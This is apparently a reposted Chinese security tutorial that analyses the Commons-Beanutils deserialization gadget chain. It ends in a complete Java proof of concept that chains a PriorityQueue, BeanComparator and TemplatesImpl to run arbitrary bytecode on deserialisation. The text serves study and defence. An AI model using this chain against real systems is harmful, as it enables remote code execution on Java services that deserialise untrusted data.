来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
CB链
环境配置
环境配置
pom.xml添加:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
测试环境
commons-beanutils 1.8.3
commons-logging:commons-logging:1.2
JDK 8u411
commons-collections3.2.1
这里需要3.2.1的原因是后面要利用的BeanComparator要用:
踩了一下坑,这里4是用不了的
正式学习
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通java类对象(也称为JavaBean)的一些操作方法。
而JavaBean是一个遵循特定写法的Java类,它通常具有如下特点:
这个类必须具有一个无参的构造函数(一般我们没自定义构造函数的话默认的就是无参的构造函数)
属性必须私有化
私有化的属性必须通过public类型的方法暴露给其他程序,并且方法的命名也必须遵守一定的命名规范。
比如如下的Cat类就是一个最简单的JavaBean类:
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。
需要了解的类
PropertyUtils
它是对JavaBean进行操作的工具类,可单独为某个属性进行值的操作的工具类。它利用反射操作Bean的属性。这个类位于org.apache.commons.beanutils.PropertyUtils
。
PropertyUtils
类中提供了一些public的静态方法,以便直接调用一些getter和setter方法:
getProperty:返回指定Bean的指定属性的值
getSimpleProperty:返回执行Bean的指定属性的值
setProperty:设置指定Bean的指定属性的值
etSimpleProperty:设置指定Bean的指定属性的值
看一个实例:
package org.example;
import org.apache.commons.beanutils.PropertyUtils;
public class Main{
private String name;
public void setName(String name){
this.name = name;
}
public String getName(){
return this.name;
}
public static void main(String[] args) throws Exception {
Main x = new Main();
PropertyUtils.setProperty(x,"name","fupanc");
System.out.println(x.getName());
x.setName("haha");
System.out.println(PropertyUtils.getProperty(x,"name"));
}
}
输出为:
fupanc
haha
看这个结果已经很容易知道前面的方法是干嘛的了。注意一下在调用方法时对于参数设置的问题。
所以这里其实很容易看出,PropertyUtils.getProperty/setProperty方法,参数一定要注意,其实就可以理解为调用对应类变量的getter和setter方法。
BeanComparator
前面也说过,其实CB链就是cc2的基础上新找了一个调用compare进行利用。在ysoserial中利用到的是BeanComparator
类,这个类位于org.apache.commons.beanutils.BeanComparator
,我们来看一下他的compare方法:
重点关注:
前面说过getProperty()
方法,在这里那么就会调用o1、o2对象的property
变量的getter方法。
在ysoserial中,CB链利用到了TemplatesImpl类,是通过PropertyUtils.getProperty
来调用_outputProperties
变量的getter方法,也就是TemplatesImpl的getOutputProperties方法来动态加载字节码,那么现在来看一下getOutputProperties()
方法的源码:
这里调用了newTransformer()方法,在这里就可以进行一次恶意动态加载字节码的过程。
那么在BeanComparator的compare()方法中,我们需要控制o1/o2为TemplatesImpl对象,this.Properties
为outputProperties
字符串。
看一下BeanComparator类的构造方法,按照前面的描述,我们这里不需要自定义this.comparator
变量,这里我们要利用到的是构造方法是:
其实也就是下面那个,但是直接使用“默认”的comparator了。
攻击构造
前面把基本的链给了出来,在这里还是利用的PriorityQueue作为序列化和反序列化的类,反序列化的时候是差不多的,最终到调用compare()方法的地方是:
现在其实感觉和CC2差不多了。
构造基本的字节码:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class"));
TemplatesImpl tem = new TemplatesImpl();
setFieldValue(tem,"_name","fupanc");
setFieldValue(tem,"_bytecodes",new byte[][]{code});
setFieldValue(tem, "_class", null);
setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
然后其他流程直接当做cc2那里看,现在简单分别分析一下过程。
反序列化部分
和CC2差不多,PriorityQueue的readObject() =》heapify() =》siftDown() =》siftDownUsingComparator,最终也就是如下:
按照CC2过程来,假如我们add进两个值,那么这里的k为0,x为queue[0]的值,也就是我们第一个add进的值,同时看这个方法的内部,那么再分别说一下值问题:
half:1
child:1
right:2
所以上面的c对应我们前面add进的第二个值,看大小情况可以知道是会进入第二个if条件语句,对应参数分别为(x:queue[0],c:queue[1])。
结合前面对BeanComparator类的compare()方法的描述,可以知道我们这里至少需要一个为设计好了的TemplatesImpl类对象。
序列化部分
add()有个部分,在第二次add进值的时候:
按照前面的说法,这里会进入BeanComparator的compare()方法,这里的k即是1,x即是我第二次要放入的值,e就是queue[0],也就是我放入的第一个值。看这里的compare()的值,看参数(x:add2,e:queue[0]),在前面序列化的时候说了,我们需要至少add进一个TemplatesImpl类实例,那么其实在这里同样可以尝试一下构造在序列化时弹出计算机:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class"));
TemplatesImpl tem = new TemplatesImpl();
setFieldValue(tem,"_name","fupanc");
setFieldValue(tem,"_bytecodes",new byte[][]{code});
setFieldValue(tem, "_class", null);
setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());
BeanComparator bean = new BeanComparator("outputProperties");
PriorityQueue priority = new PriorityQueue(2,bean);
priority.add(1);
priority.add(tem);
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
成功按照预期弹出一个计算机。还有就是存在一个和之前一样的问题,当我利用TemplatesImpl来动态加载恶意字节码的时候,如果我add进两个tem,只会弹出一个计算机,在第一个结束后会直接报错结束,并不会进入第二个利用点:
比如CC4等。
还有一个需要注意的点就是这里add进的顺序也有讲究,比如我像上面代码那样只add进一个,那么我必须保证tem在o1,因为o1/o2必须为一个类实例,按照前面将的参数问题,o1对应add2,也就是我要在第二个地方add进tem,否则会直接报错退出。
那么我们现在继续关注第二次add后会发生什么: 在前面抛出异常后,不知道调用compare()方法后到底会返回什么,那么我们直接打断点来看会到哪里,发现确实会在抛出异常后直接退出,那么这样我们并不能成功在queue[1]成功设置为tem,从而导致后续都失败。
在ysoserial中给出了解决方法,我们可以先往里面随便add进值,然后再反射更改为我想利用的,那么测试代码可以改为:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class"));
TemplatesImpl tem = new TemplatesImpl();
setFieldValue(tem,"_name","fupanc");
setFieldValue(tem,"_bytecodes",new byte[][]{code});
setFieldValue(tem, "_class", null);
setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());
BeanComparator bean = new BeanComparator("outputProperties");
PriorityQueue priority = new PriorityQueue(2,bean);
priority.add(1);
priority.add(1);
Object[] x = new Object[]{1,tem};
Field field1 = PriorityQueue.class.getDeclaredField("queue");
field1.setAccessible(true);
field1.set(priority,x);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(priority);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
然后这里报错了我们上面说的问题,PropertyUtils的getProperty的方法第一个参数需要为类实例,但是我们这里传入的都是整数,所以在第二次add后会报错。
解决方法,在BeanComparator的compare()方法中:
这里只要满足property为null,就不会再调用getProperty()方法,而是正常的compare方法来比较。
所以我们这里可以使得property先为null,而后再反射修改这个值为outputProperties。
那么POC为:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class"));
TemplatesImpl tem = new TemplatesImpl();
setFieldValue(tem,"_name","fupanc");
setFieldValue(tem,"_bytecodes",new byte[][]{code});
setFieldValue(tem, "_class", null);
setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());
BeanComparator bean = new BeanComparator();
PriorityQueue priority = new PriorityQueue(2,bean);
priority.add(1);
priority.add(1);
//错误点
Object[] x = new Object[]{1,tem};
Field field1 = PriorityQueue.class.getDeclaredField("queue");
field1.setAccessible(true);
field1.set(priority,x);
String name = "outputProperties";
Field field2 = BeanComparator.class.getDeclaredField("property");
field2.setAccessible(true);
field2.set(bean,name);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(priority);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
继续报错
然后思考,这里逻辑明明没有问题,但是为啥还是弹这个问题,然后我尝试修改为传入两个tem,成功弹出计算机,然后再仔细比对一下,找出问题所在,问题处在前面的POC标出来了,感兴趣的可以先自己想想。
我前面的POC构造是按照序列化前的add()部分构造的,其中的顺序需要为:add1为其他,必须add2为tem。
但是在反序列化过程中
注意前面分析时给出的结果,在反序列时调用到BeanComparator的compare()方法时的参数分别为(x:queue[0],c:queue[1])。
所以这里是先调用的queue[0],同时结合我们前面的说法,只会调用一次,所以我们这里需要,如下设置:
Object[] x = new Object[]{tem,1};
那么最终的POC为:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class"));
TemplatesImpl tem = new TemplatesImpl();
setFieldValue(tem,"_name","fupanc");
setFieldValue(tem,"_bytecodes",new byte[][]{code});
setFieldValue(tem, "_class", null);
setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());
BeanComparator bean = new BeanComparator();
PriorityQueue priority = new PriorityQueue(2,bean);
priority.add(1);
priority.add(1);
Object[] x = new Object[]{tem,1};
Field field1 = PriorityQueue.class.getDeclaredField("queue");
field1.setAccessible(true);
field1.set(priority,x);
String name = "outputProperties";
Field field2 = BeanComparator.class.getDeclaredField("property");
field2.setAccessible(true);
field2.set(bean,name);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(priority);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
最终也是成功按照预期弹出一个计算机。
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):javasec | CB链详细分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论